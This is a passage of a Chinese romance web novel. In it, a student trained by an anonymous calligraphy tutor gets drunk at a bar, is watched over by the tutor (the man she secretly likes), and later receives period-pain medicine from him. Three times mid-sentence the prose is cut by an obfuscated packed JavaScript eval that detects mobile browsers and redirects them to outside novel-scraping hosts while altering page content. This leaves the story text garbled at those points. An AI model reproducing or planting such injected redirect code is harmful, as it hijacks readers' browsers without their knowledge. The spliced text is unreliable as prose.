都是过来人,林晚夏知道那女生在看到自己后的不自在是为什么。 完全就是误会她和林映舟的关系了啊。 林映舟脑海中迅速闪过沈屿思为接近他做的种种。 她喜欢自己这件事,已经这么明显了吗? 林映舟抿了口杯中的乌龙茶,淡淡开口,“或许吧。” “或许吧~”林晚夏轻哼一声,“你也不对劲。” 林映舟冷笑,不觉得自己有什么不对劲,“你真无聊。” “无聊吗?我觉得很有趣啊。”林晚夏本来还想提醒下这位好弟弟,让他和人女生解释下他俩是堂姐弟关系。 但这小古板居然说她无聊? 行。 这爱情的苦你就吃去吧。 吃完饭回去后,林映舟和往常一样,看了会儿心理学文献,再将未完成的画画好。 手机就放在书案上,期间弹出许多消息,大部分是学校发来的,还有一些无关紧要的推送。 开学就意味着要忙起来了,也不知道能不能及时回她的消息。 林映舟滑到和沈屿思的聊天框。 依旧停留在那句近水楼台上,这条信息随着时间拉长而变得刺眼。 晚饭时间,偌大的餐桌上只坐着爷孙两人。 安静得能听到筷子碰撞的微小声音,落针可闻。 林昀之率先打破沉默,“那个小姑娘教得怎么样了。” 林映舟咀嚼的动作停下,不合时宜地想起在医院走廊,和她一起离开的男人。 遇到了新目标,就连字也不想练了。 果然是三分钟热度。 林映舟放下筷子,“比之前进步了很多。” “嗯,好好教。”林昀之语气缓和,“你们也开学了,忙的话,这事就先搁置吧,不要紧的。” “知道了。”林映舟起身,“爷爷我吃饱了,先回书房。” 林家是由青砖黛瓦围筑成的巨大院落,占地30亩,林映舟独居的西楼外种着一片青竹,挺拔修长,四季青翠。 晚间有风袭过,叶片摩擦出细碎声响,卷起一阵浪潮。 他站在窗外听好一会儿,才走进另一扇门。 推门而入的刹那,人造雨林的潮湿气息扑面而来,几百平方的密闭空间内,藤蔓虬结的仿生生态系统沿着玻璃幕墙蜿蜒攀升。 中央矗立着两人合抱粗的榕树枯干,树皮间寄生着苔藓。 在这精心构建的大型生态圈中,仅仅饲养着一条蓝色小蛇,它盘踞在树干上,鳞片与枯木摩擦出声响。 林映舟屈膝半跪在草地上,摊开手心。 小蛇闻到熟悉的气味慢慢动了起来,金珀色的竖瞳收缩着。 它顺着林映舟的指尖向上攀绕,冷血动物特有的凉意贴合掌纹沁入肌肤,猩红信子扫过他的虎口。 林映舟抚摸着它的鳞片,他看着缠绕在自己腕间的冷血生物,眉目逐渐舒展开来,“好乖。” 林映舟在这个房间待了很久,直到心绪归于平静。 他回到书房,想起在饭桌上林昀之的话。 长辈安排的任务,只能沈屿思不想学,不能他不愿教。 在她亲口说出不想学之前,林映舟依旧得做个好老师。 他编辑信息发送:【今天的作业呢?】 等待过程中,林映舟上滑屏幕,开始翻看之前的聊天记录。 他手指轻揉眉心,怀疑自己前段时间吃错药了。 不然他为什么要和沈屿思聊那些有的没的,简直浪费时间。 他只是一个书法老师,只需要负责好自己的教学就行。 其余不符身份的事不该做,不符身份的话不该说。 所以林映舟决定,以后沈屿思再说任何废话,他都不会理她。 沈屿思回复:【诶呀,今天有点忙还没来得及写】 Z:【忙什么】 Island:【就一点小事,我明天补给你吧】 林映舟敛眉:【明天写十五遍】 沈屿思眼睛瞪大:【不是五遍吗?】 Z:【今天的五遍,明天作业五遍,罚抄的五遍】 Island:【哇,你好残忍】 话虽如此,沈屿思还是乖乖去补作业了。 她坐在书桌前,咬着笔头长叹一口气。 哎......怎么和小时候不写作业被老师抓包一样,居然还有罚抄。 哎! 不过Z应该没有因为昨天的事不高兴。 真好!不用换老师了! 沈屿思提笔正要写,想起医院那位气质出众的女生又顿住。 可是…… 她已经不喜欢林映舟了啊。 那现在练书法的意义在哪? 这是个值得思考的问题。 算了。 先练着吧。 写完后已经是第二天,沈屿思挑了张最丑的拍照发过去,附带一句:【Z老师,我想了想觉得我之前学书法的目的不纯粹】 Z:【所以】 Island:【我现在已经不想进B班了】 林映舟眸色微暗:【为什么】 Island:【就是觉得没必要,以后我学书法只是为了学书法!】 看吧!多么热爱书法,多么纯粹的想法,Z老师看到不得欣慰死。 林映舟冷笑一声,她的喜欢可真廉价。 之前为了他努力练字,想去B班近水楼台。 现在身边出现新的异性,立马就宣布放弃。 呵。 林映舟对其原因根本不感兴趣:【你学书法的目的与我无关,不用告诉我】 莫名其妙被怼了一句,沈屿思撑着脑袋越发不太明白。 她哪里又惹到他了? 神经病。 眼不见心不烦,沈屿思将他的对话框隐藏。 继而点开辅导员的微信。 距离军训结束还有两天,她的腿伤基本痊愈,还是得报备一下。 毕竟刚学开学就请假已经给人留下了很不好的印象了。 大学四年呢,和辅导员打好关系百利而无一害。 辅导员如她预想中一样善解人意:【没关系,你继续在家修养几天,等军训结束再回来上课,不要紧的】 其实是因为军训接近尾声,马上要汇报演出,再弄进来一个啥也没训过的人,不但要重新摆队列还会影响最后效果,压根没这必要。 沈屿思也是想到这层,才主动和老师说想留个好印象。 接下来的几天沈屿思约谢笙逛了两天街,拿下了专柜的所有新款才宣告结束。 好在酒店这间套房足够大,不然以她的购买力早就放不下了。 沈屿思也发现从那天开始Z变得很不正常,除了书法作业,其他信息全都已读不回。 他们之间的聊天记录只剩下发作业和批作业。 甚至有时候批作业的消息都要很久才回。 久而久之沈屿思也不愿再和他说些有的没的。 她又不是没人聊天,爱怎样怎样,又不是她男朋友,还要天天哄着? 莫名其妙。 男的都莫名其妙! - 为了庆祝沈屿思痊愈以及迎接真正的大学生活来临,谢笙又在酒吧组了一个局。 这次沈屿思特别强调,不要再给她介绍帅哥了。 她目前只喜欢高岭之花,而高岭之花是不可能会来酒吧的。 只是没想到祁越也来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231506|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 他今天穿的很休闲,手指有节奏的在玻璃台面上叩动,一脸稳操胜券的样子。 明明坐在卡座最暗处,却有不少眼神黏在他身上。 但不知道为什么,祁越还是输了。 他举着那杯威士忌,琥珀色酒液轻轻一晃,视线却在沈屿思身上飘忽。 他仰头,一饮而尽。 沈屿思入座后很自然的加入了他们的游戏。 可惜今天运气透支,连续输了好几把,桌上摆着她欠下的罚酒。 一口气喝完后,沈屿思差点没缓过来,她挥挥手,“什么运气,我不来了。” 有人调侃,“人不行别怪路不平。” “滚呐。” 沈屿思从战场上撤下,坐在边上看他们玩。 她支着下巴开始怀疑自己是不是太久没玩生疏了,不然怎么一直输。 沙发右侧轻微下陷,沈屿思侧眸看去,是刚刚大杀四方的祁越。 她问,“你也不玩了?” 祁越嘲笑,“来看看某位输得主动下场的小可怜啊。” 沈屿思哼了声,“知道运气不好还不撤,等着被抬去洗胃呢?” 祁越忽然倾身,“还想玩吗?” 骤然缩短的呼吸距离中,沈屿思看清他被威士忌浸润成琥珀色的眼睛。 长着一副游戏人间薄情相的男人,连睫毛都像淬了毒的孔雀翎。 沈屿思托腮的腕骨泛着玉色,“想啊,可你也看到了,再输下去我今天得倒在这了,谢笙可不会替我挡酒。” “我会。”祁越将手上的黑桃A放在沈屿思掌心,“去吧,输了算我的。” 沈屿思眼睛亮了亮,她才不会客气,“真的假的,你可别吹牛。” “信不过我?” “没有没有。”沈屿思开心地拉着祁越的手挤进人群中坐下。 苏泽开玩笑问,“小岛这是请了外援?” 沈屿思神气极了,“错,是替我挡酒的大帅哥!” 周围有人看出什么,开始起哄,“祁越你这样小心阴沟里翻船哦。” “祁越啊,我们平时可没机会灌你酒,现在你可别想逃。” 祁越眉梢微抬,语气嚣张,“想灌我,问过她没?” 沈屿思连忙将口中的西瓜籽吐出,也跟着嚣张,“就是就是,问过我没?” 有人喊道,“行行行,今天杀得你俩片甲不留!” 事实证明,运气不好时,赛前放话有多狠,就会输得有多狼狈。 谢笙自发成了倒酒司令,瞅见沈屿思输了,立马给她杯子倒满酒。 沈屿思再往边上一推,罚酒流水线似的到了祁越手中。 次数多了三方业务变得无比娴熟,一倒一推一喝,极其迅速。 到后面结果还没出来,祁越面前就已经摆好罚酒了。 他失语片刻,“不是啊谢笙,你就知道她会输?” “她就没赢过好吧,你快点喝。”说着谢笙将酒塞过去。 沈屿思游戏也顾不上了,乐得直不起腰。 祁越见她这么开心也忍不住笑,“沈屿思,你故意的吧。” “哪有,是我运气太差了。”沈屿思笑,凑近看他,“怎么,你不行啦?” 那双眼睛亮得很,泛着水汽直勾勾看着祁越,见他不说话,狡黠地眨巴几下,像个得意洋洋的小狐狸。 祁越呼吸有些乱,他用食指抵住她的额头拉开距离,“这才哪到哪啊。” 他仰头,喉结滚动,将最普通的百威喝出了心跳声。 游戏只是开胃小菜,随便玩了几局后大家全跑去舞池蹦迪了。 卡座上只剩下一个懒得动的沈屿思和喝酒喝懵了的祁越。 他支着额角的手背青筋微凸,看着好像有些醉了。 沈屿思终于良心发现,她走过去问,“呀,你还好吗?” “不好。” 10.耍酒疯 “啊?” 沈屿思想起自己来之前祁越好像就喝了挺多的,刚刚又替她挡了那么多酒。 他现在该不会酒精中毒了吧? 她赶紧坐下,伸手捧起男人发烫的脸,指腹压在他微潮的鬓角,酒吧射灯照亮他的五官。 沈屿思呼吸微窒,真帅啊。 这人确实有游戏人间的资本。 她正要仔细查看祁越状态如何。 只见他睫毛轻颤,眼里哪还有醉意,全是快要溢出来的促狭,低笑声震得沈屿思掌心发麻。 他问,“你这是在紧张我吗?” “……无聊。”沈屿思收回手,却被他反手握住。 祁越逗她,“如果我真有事,你会对我负责吗?” 沈屿思瞥他一眼,有些想笑,“想对你负责的人多了去了,哪里轮得到我啊。” “自谦了啊,明明不回我消息的人是你。” 沈屿思牙齿咬咬舌尖,后悔自己非要搭话,现在给人家抓到机会兴师问罪了。 她故作慌乱地拿起手机解锁,指尖下滑将未读标志的对话框怼在祁越面前。 Casanova:【伤得严重吗?】 “呀,那天消息太多,你的被顶下去了没看见。”沈屿思嘟囔着,似在懊悔,“我说你这些天怎么没给我发消息呢,原来是我没回你啊。” 如此拙劣的谎话,沈屿思用得却顺手,因为她知道祁越不会戳穿她,既如此那就装傻好了。 祁越饶有兴致地看着她,点头头,似在肯定她的话,“那现在看来,你的腿伤已经好了?” “对呀。” 祁越正要说些什么,被斜插的一道男声打断,“越哥你也在这儿呢?” 他回头,看到一张熟悉面孔,“是啊,好巧。” 那人走进卡座,看见祁越边上的沈屿思问道,“这位美女是?” “朋友。” “哦——还以为是嫂子呢。”那人接着说,“干脆一起去我那喝几杯?我们都好久没见了。” 没等祁越回答,沈屿思先一步开口,“你去吧,我腿疼。” 其实祁越本打算拒绝朋友的邀约,只是听出了沈屿思话中的赶客意味,他顺着她,走之前特地叮嘱。 “你今天也喝得不少,别乱走,等我回来。” 祁越离开后沈屿思一个人坐在卡座,将剩下的酒倒在杯中慢慢喝着。 让祁越走没什么目的,只是觉得刚刚氛围太暧昧了,万一她上头非礼人家怎么办。 她可不想当女流氓。 此时正播放着抒情歌DJ版,舞池内的人摇头晃脑,沈屿思也跟着节奏动了几下。 一个人时,酒精很快发现了她扔在角落处的难过,并将其抽出放大无数倍。 女儿来云昌这么久,沈宴初作为爸爸一个电话都没打给她,林映舟有女朋友了,Z老师突然不理人,她那么漂亮的腿上可能会留疤。 这些事放在平时沈屿思根本不在意,可在酒精的加持下她顿觉委屈,酒也喝得越来越猛。 手机震动了一下,沈屿思点开消息。 Z:【?】 残存的理智告诉她,她没写作业,Z老师来兴师问罪了。 天!他怎么这么尽职呢! 沈屿思点开相机,故意对着射灯频闪的舞池拍了个视频发过去。 就许你忙得不理人,不许我不写作业? 林映舟洗漱好正准备休息,问作业是例行公事。 即将开学,他近段时间很忙,沈屿思没交作业也不会如何。 只是他万万没想到沈屿思会突然叛逆。 林映舟点开那段视频,音浪声从听筒中炸开,刺耳异常。 正要将视频退出,沈屿思的声音传了出来。 他只能将音量调至最大才能勉强听清她到底说了些什么疯话。 “Z老师,我在喝酒啊,作业明天发你。”酒嗝上来,沈屿思缓了好几秒才继续说。 “我知道,要补十五遍嘛,今天五遍,明天五遍,还有罚抄的五遍,等我明天全都给你……” 视频到这戛然而止。 林映舟眉头拧紧,迅速编辑信息:【哪个酒吧?】 酒吧向来鱼龙混杂,漂亮女生在那种地方喝得烂醉,是件极度危险的事。 林映舟不确定她身边有没有朋友,从视频来看,卡座周围是空着的。 看着迟迟未回复的消息,林映舟又开始觉得自己多管闲事。 是她自己要去酒吧的,也是她自己要喝这么多的。 一切都是她自己的选择,他为什么要去干预别人的选择。 虽然这样想,林映舟还是把静音后的视频发给朋友问他这是哪个酒吧。 沈屿思已经醉倒在卡座上,哪有力气回消息。 谢笙在舞池看到沈屿思这边的情况,赶紧和苏泽回来守着她。 注意到不间断的嗡嗡声,苏泽提醒,“小岛手机好像响了,是不是有人打电话给她?” 谢笙捡起她的手机解锁,在通知栏处看到好几个未接电话,“什么Z老师?” 她将手机锁上放回去,忍不住吐槽。 “有病,大晚上的还打这么多电话来,看着不是什么正经老师,让她睡吧,等下清醒了再说。” 过了十分钟,沈屿思被DJ声震醒,“好吵啊。” “酒吧当然吵了。”谢笙问道,“头痛吗?” 沈屿思这才想起来今天有个网红DJ来这边打碟,“你怎么不去舞池?” “把你一个人留在这我不放心。” “没事,我现在醒了,你去吧。”没记错的话,谢笙好像还挺喜欢这个DJ的。 谢笙总觉得她在逞强,“真没事?” “真没事。” 谢笙问,“那997加9997等于多少?” 沈屿思以为她问的是一加一等于几,二都要脱口而出了,才发现不对劲,“我靠谢笙你有病啊,就不能问点简单的?” 还会骂人看样子是清醒了,谢笙放心道,“行行行,你坐这边别乱跑哈。” “知道了知道了。” 酒精利尿,沈屿思趁大家被DJ吸引过去,想着现在上个厕所不用排长队。 从洗手间出来的那道走廊里,她看见一个熟悉的人。 沈屿思脑袋晕晕,觉得应该是做梦了,不然她怎么可能在酒吧看到林映舟呢。 酒吧。 林映舟。 这两个名词甚至不适合放在一起。 发现林映舟居然是朝她走过来的,沈屿思再次肯定自己是在做梦。 一想到这,沈屿思更是冒出一股无名火,都已经不喜欢人家了,她还能梦到,太过分了! 沈屿思冲过去想发泄一番,走得太快,走廊又有积水,她脚下一滑,直愣愣栽进对方怀中。 林映舟下意识接住,怀里猛然撞进比自己柔软许多的身躯。 他呼吸停止,后颈一僵,掌心悬在她的腰后,难得的不知所措。 沈屿思深吸一口气,眼泪快掉下来了。 为什么在梦里都能如此狼狈! 沈屿思使劲推开他,“都怪你!” 林映舟抓住她的胳膊扶她站稳,不解地问,“怪我什么?” 沈屿思好似炸弹,一点就燃,“你还好意思问我!你明明就有女朋友,为什么不告诉大家,害得我以为你单身,我那么喜欢你,还去练书法想进你教的班,结果差点就成了插足别人感情的坏人!” 林映舟哑然,不知道自己从哪冒出来的女朋友,“我没……” 沈屿思根本不给他辩驳的机会,这幅样子活像控诉渣男,“你闭嘴!我不想听你解释!” 林映舟不可置信地看着眼前的人,觉得她简直胡搅蛮缠。 他也是吃饱了撑的跑过来。 明明都洗漱好准备休息了,因为她一堆胡言乱语从林宅跑到这乌烟瘴气的地方。 舞池吵得耳膜快要裂掉,他愣是一路搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238174|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻到洗手间才找到她。 结果,就她现在这状态,谁能欺负得了她。 沈屿思发了会儿疯,注意到林映舟今天有些不一样,她气焰渐渐弱了下来,好奇地问,“你今天怎么戴了眼镜啊?” 还怪好看的。 说着伸手就要摘下林映舟出门前特地戴上的特制眼镜。 眼看着要被她拿走,林映舟一把抓住她的手腕,“别动!” “……” 沈屿思被他语气凶愣了几秒,接着又恢复成刚才无理取闹的状态,她用力抽回手,“你凶我?!我为了你特地去练字你还好意思凶我!你知不知道啊,练字很难的!” 林映舟沉默,他怎么会不知道,他可太知道了。 沈屿思开始控诉,“那个Z,每天让我练同一本字帖,我都要练吐了还让我练!我都借酒消愁了,他还发信息催我交作业,我明天……我明天还要补十五张兰亭序给他。” 其实本来也没多难过,但一想到明天酒醒之后还要补作业,沈屿思眼泪径直落下。 那可是十五张啊。 谁家好人来蹦迪还要操心作业啊! 林映舟更沉默了。 他没催,他只是扣了一个问号而已。 沈屿思将这一切怪到林映舟头上,“我讨厌你!我那么努力那么想进B班想靠近你,结果你居然有女朋友,那我现在练字干什么,那我进B班干什么!” 林映舟盯着面前耍酒疯的人,心口忽然涌出一股热意,浑身莫名畅快起来。 所以,医院过后她并不是因为那个男的才不想进B班,更不是因为那个男的失去了对他的兴趣。 而是因为。 她太喜欢他了。 喜欢到不愿插足他的感情。 憋在心里的情绪终于宣泄出来,沈屿思只觉得舒服。 随之而来的是大脑缺氧、浑身泄力,她腿一软就要往前栽。 林映舟又一次接住要摔倒的她。 沈屿思继续瞪他,“恋爱不公开的坏人别碰我!” 她就是双标,自己恋爱不公开是情有可原,男的恋爱不公开就是想钓鱼。 林映舟真想立马松手让她摔下去,好感受一下地板的坚硬,否则她是不会知道疼的。 最终,他还是扶着她,任由她发泄。 好不容易等她说累了,他才有机会开口。 林映舟也不知道自己为什么要和她解释。 明明他根本就不在乎沈屿思对他的看法。 “我没女朋友。” 林映舟不清楚她有没有听到这句话,因为她趴在自己肩上睡着了。 她的身体软得不像话,像一团棉花搭在身上,仿佛稍微用力就能揉碎。 林映舟真想剖开她的脑袋好好看看里面装的是不是自来水,在酒吧喝得不省人事,然后趴在陌生男人身上睡着。 她是一点不知道这个社会有多险恶吗? 林映舟彻底没了脾气,他俯身将她抱起放在走廊的长椅上。 已经十一点多了。 换做平时,他已经睡着了,而现在却守着这个醉鬼不知道要等多久。 她睡得很沉。 林映舟垂眼看着,忽然被某个冲动的念头攫住。 他想知道现在的沈屿思会是什么颜色。 他想着,伸手摘下眼镜,任褪色的世界轰然倒塌,沈屿思的脸重新在视网膜上显影。 ——红色。 是铺天盖地的红色。 她的发丝垂落在长椅上,像一捧火焰渐熄的绸缎。 嘴唇的颜色也比记忆中更加深刻,此时正随着呼吸微微翕动。 林映舟想摸摸这颜色,他指尖悬在发尾上空迟迟未落下,未散尽的火焰余温灼烧着指腹。 他看见自己的阴影正被红色笼罩,熟悉的感觉再次袭来,在呼吸彻底停滞前,他移开视线匆匆戴上眼镜,屏蔽一切会令他应激的事物。 林映舟世界里的红色又一次变得暗淡。 11.宿醉后 没一会儿,祁越急匆匆跑来,直到看见长椅上的红发女生后,他绷紧的肩线才缓解。 朋友的卡座有视线盲区,看不到沈屿思的动向,祁越本想着随便喝几杯就能回来,谁知道那伙人一直拉他叙旧。 好不容易抽身却发现她不见了,问过谢笙也不知道,一伙人赶紧散开找人。 好在她没事,祁越松了口气往长椅走去。 看到边上坐着的人是林映舟,他惊讶,“你怎么在这?” 爱好高雅作息极度规律到变态,从不和他们这些纨绔子弟同流合污的林映舟。 有生之年里,祁越居然能在酒吧看见他。 这和看到鬼有什么区别。 甚至还要更吓人。 林映舟扫他了一眼,没有说话。 祁越视线移回沈屿思身上,似乎发现了什么不得了的事情。 他呵了一声。 还真是有意思。 有意思极了。 见林映舟不搭理自己,祁越也不管他,屈膝蹲下,将沈屿思散落的发丝别在耳后,“小岛?” 沈屿思嘤咛着,却没有醒的迹象。 祁越笑,“怎么困成这样啊?” 他又温声说,“回家睡好不好?” 林映舟坐在边上只是冷冷看着。 祁越起身弯下腰,正要将沈屿思从长椅上抱起。 林映舟伸手横隔在两人中间,“在她意识清醒之前,任何人都不能带走她。” “林映舟。”祁越说,“我是她的朋友。” “怎么证明?” 不想和面前的人多废话,祁越打开和沈屿思的聊天框,故意选取了最暧昧的一段记录,将手机屏幕怼在他眼前。 林映舟看都没看一眼,语调冰冷,“所以呢?” 祁越反问,“你又是她的谁,凭什么拦我?” “至少我没有想带她离开,而是守着她。” 祁越哑然,双方就这样僵持着,他坐下来给谢笙发消息说自己找到沈屿思了,没什么大碍,就是遇到一个傻逼不让他走。 他也真是纳了闷了,沈屿思是怎么和这种人扯上关系的。 两人看着根本不是一个世界的。 此时,林映舟的手机响了,他没有任何犹豫将其摁灭。 过了几秒钟又响了起来。 祁越冷声提醒,“要么静音要么就接,别吵到她睡觉。” 林映舟下颌微微收紧,他拿起手机,来电显示是爷爷。 他深吸一口气走到不远处接通电话,“爷爷。” 听筒传来林昀之的声音,“大晚上的你去哪了?” 林映舟沉默,看着沈屿思侧卧在长椅上,长发垂下几缕。 祁越蹲下和她说了句什么,接着她好像醒了。 他还伸手摸了摸她的脸。 会是什么触感? 像她说的话一样坚硬还是和她手臂一样柔软? 林映舟回答,“许怀川找我有事,可能会晚点回去。” “嗯。” 沈屿思被祁越叫醒后,感觉头昏脑涨的,她揉着额角回忆起自己是怎么到这来的。 来上厕所然后太困了,趴在走廊的长椅上睡着了? 然后…… 做了个梦。 梦到了,林映舟。 祁越见她发呆,伸手打了个响指,“还没睡醒呢?” 沈屿思摇头,后颈贴在椅背上,带着鼻音,说话瓮声瓮气的,“哪有,我就是没力气了。” “那要我抱你起来吗?”他虽然这么问,却已经弯下腰,双臂向两侧展开。 沈屿思仰头看他,他眼里的笑像漩涡,在吸引人沉沦。 见她不动,祁越只是将掌心抬高半寸,微微歪了歪头,仿佛她就该理所应当地跃进这个等待的拥抱里。 沈屿思顺着本能伸手勾住他的脖颈,被他托住膝弯从椅子上抱起。 一直到离开,沈屿思都没有回头看一眼她身后站着的林映舟。 随着两人身影消失,空荡走廊只剩下林映舟一人,舞池传来巨大声响,夹杂着男男女女的欢呼声。 他面无表情地看了眼手表,指针指向十二点,规律的作息又被打乱。 林映舟再一次确定,他要离沈屿思远一点。 再远一点。 - 就这么抱回去太引人注意,知道沈屿思不喜欢这样,祁越在门口将她放下,“以后在酒吧喝多了,不管去干什么最好叫朋友陪着,至少也要先打招呼。” 沈屿思心不在焉地点点头,脑子里还在想刚刚那个梦。 好真实啊。 甚至…… 还闻到了林映舟身上独有的乌龙茶和徽墨的香气。 祁越停住脚步叫她名字,只见沈屿思依旧自顾自往前走,他伸手,隔着头发轻轻捏着她的后颈,故意狠下语气,“听到没?” 沈屿思回过神来,“知道了。” 祁越缓和语气,“还是很困吗?” “嗯。” 前段时间养病,已经习惯早睡早起,这个点对沈屿思来说已经算熬夜了。 祁越了然,和她并肩走着,“行,去和他们打个招呼我就送你回去睡觉。” 琥珀木香裹着雪松的清冽,在两人衣料摩擦间若即若离,沈屿思忽然道,“你今天好好闻啊。” 突如其来的一句,祁越喉结重重滚了滚,看她神色认真无半点旖旎意味,他一时之间不知如何接话。 一直到卡座,谢笙远远看见沈屿思,快步走上去,面色着急,“你刚刚去哪了?怎么离开都不和我说一声。” “我去做梦了。”沈屿思实话实说。 还梦到帅哥了,是林映舟呢。 沈屿思当然没有说,毕竟梦到别人男朋友不是什么好事。 谢笙笑骂,“你神经啊,在厕所做梦。” “这不是太困了吗。”沈屿思也觉得自己神经,还好她已经在梦里发泄过骂过了。 谢笙强调,“下次在酒吧千万不能这样了,多危险呀。”她从卡座上拿起自己的包,“那我现在送你回去睡觉吧。” 沈屿思拉住谢笙,“不用了,等下祁越送我,现在还早呢,你们再玩会儿吧。” 谢笙了然点点头,“也行,到家了给我发个消息。” “好。”沈屿思拿起包离开卡座。 祁越正要跟上却被谢笙拉住,她小声问道,“你说的那个不让你走的傻逼呢?” “被我赶走了。” “他没对小岛做什么吧?” 祁越回想起刚刚他守着沈屿思的画面摇摇头,“没有。” 谢笙松了一口气,“那就好,吓死我了。” 沈屿思折返,“你俩聊什么呢。” “没什么。”祁越迈步,欠揍地勾起沈屿思一缕头发卷了卷,“走吧。” 祁越已经叫好代驾,沈屿思一上车就靠在后座上睡着了。 车子平稳行驶,直到碾过减速带,祁越肩膀一沉,玫瑰香漫来。 是她常用的那款香水,明艳张扬的味道。 他侧头看去,路灯碎金穿过沈屿思发丝,在她眼下织出细齿状的影,紧挨着肩膀的头发涌进脖间,一阵发痒。 红灯突然亮起,司机刹车停下。 沈屿思的脑袋因惯性向前栽去,祁越仓促伸手,虎口托住了她微凉的下颌,拇指指腹紧贴着。 她的脸。 好软啊。 这个姿势让沈屿思的唇几乎贴上祁越手腕跳动的脉搏,每一次呼吸都烫的要命。 他移开视线,不敢再有动作。 - 宿醒来后已经是下午三点,小腹传来的强烈坠痛。 沈屿思踉跄冲进卫生间,看到那抹红色后,她险些晕过去,懊悔昨晚太过放肆,喝酒非要往里加满冰块。 沈屿思从抽屉里拿出止疼药吞服,按照网上的方法乖乖右侧躺等待药效。 肚子里好似有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15243468|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把钳子在反复绞拧,没一会儿就冒出一身冷汗。 稍微缓了缓,沈屿思打开手机,果然看见一长串的未读消息。 她率先点开置顶谢笙:【怎么样,有没有进展啊?】 Island:【本来是想进展下的,但我太困了,睡了一路】 昨晚车子停在酒店楼下,祁越先是轻声叫了句她名字,见没有醒来的迹象,就任由她靠在自己怀里睡了一个多小时。 沈屿思迷迷糊糊醒来,撞见一截凌厉的下颌线,她眨了眨眼睛,正在重启系统。 “沈屿思。”祁越忽然开口,沈屿思感受到他胸腔微震,声线带着倦意,“醒了就赶紧起来,我手麻了。” 他低头,好整以暇地看着她。 沈屿思这才惊觉自己枕着祁越的手睡了一路,难怪梦里被琥珀香围绕了,她起来,难得不好意思。 “要不我给你揉一下吧?” 祁越挑挑眉,把左手伸过去。 她的手细长又白,指甲干净圆润,上面涂着一层浅粉色护甲油,柔软的指腹按在小臂上,像在挠痒,一点也不舒服,好像更麻了。 沈屿思捏捏锤锤了好一会儿,实在有点酸了,“可以了嘛?” “可以。” “那我上楼了。” “好。” 谢笙对此表示:【……】 她似乎是真的很无语,对方正在输入中持续了好一会儿,才发出:【你不让我送,我还以为你想路上和人家亲个小嘴,结果就这?】 Island:【那我也太流氓了,我是那种见色起意的人吗?】 笙笙:【你是】 昨天沈屿思从长椅上醒来就一直在思考,为什么她会梦到别人的男朋友。 最终得出结论,是她太久没接触其他异性了,以至于林映舟在她脑子里的存在感异常强烈。 既然如此就找个人覆盖一下吧。 祁越长得帅又会来事,氛围到了亲个小嘴也正常。 而且还不用负责,多赚啊。 可惜啊,昨天实在太困了,还没来得及实施就睡着了。 和谢笙聊天结束,沈屿思继续下滑,点开了Z的聊天框。 无论是怒意还是难过都在昨天彻底发泄,剩下的只有清醒。 对于昨天的行为以及那段视频,沈屿思见Z没再提,她也懒得解释:【Z老师,我身体有些不舒服,作业明天给你可以吗?】 收到这条消息时,林映舟正受邀参加活动,听见手机提示音后,他顿了几秒才点开。 在这之前每弹出一条消息,他都以为是沈屿思发来的,他居然在期待。 期待什么? 他问自己。 于林映舟而言昨晚实在荒唐,他无法理解自己的行为,却又在离开时想,他出现的时间很巧合,沈屿思会不会猜到他就是Z? 如果猜到了他们该如何继续相处? 直到看见沈屿思对他一如既往的称呼后,林映舟在松了一口气的同时,心底居然升起一些…… 失望? Z:【怎么了】 沈屿思直接回答:【痛经】 那边沉默了几分钟:【有空再补】 沈屿思顿感意外:【哇,你终于良心发现了】 Z:【?】 Island:【嘿嘿,开个玩笑】 林映舟对她的嬉皮笑脸没什么好脸色,他放下手机继续忙自己的事,过了几分钟再次打开手机问:【很痛?】 她昨天一定喝了很多冰酒,能不难受就怪了。 Island:【嗯】 Island:【很痛】 林映舟蹙眉。 林昀之有位故交是中医世家,他之前无意中听到过他们很擅长妇科,其中就包括月经病。 虽然他已经打算不会再管沈屿思这些乱七八糟的事,但是想到她的不舒服会影响到书法教学进度。 林映舟还是拨通了那人的电话。 12.开学礼 一个小时后。 沈屿思收到了一条消息。 Z:【不知道房间号闪送只能放前台,里面是缓解痛经的药,让前台给你送上去,纸条上写了服用方法】 此时的沈屿思正在经历着一轮又一轮的阵痛,完全就是在对她昨晚酗酒的惩罚。 等她月经走了,一定一定不会再这么放肆了! 她要开始养生! 要保温杯里泡枸杞! 沈屿思强撑着拨通前台电话,又强撑着打开纸袋。 不知道是对Z的信任,还是死马当活马医的想法,沈屿思想也没想就塞进嘴里。 中药味在口腔中炸开,苦得她龇牙咧嘴。 定睛一看,边上居然还准备了袋蜜饯。 沈屿思又赶紧吃了一颗,才稍稍缓解了口中苦味。 要么是心理作用要么是真有效果,过了十几分钟,居然真的没那么难受了。 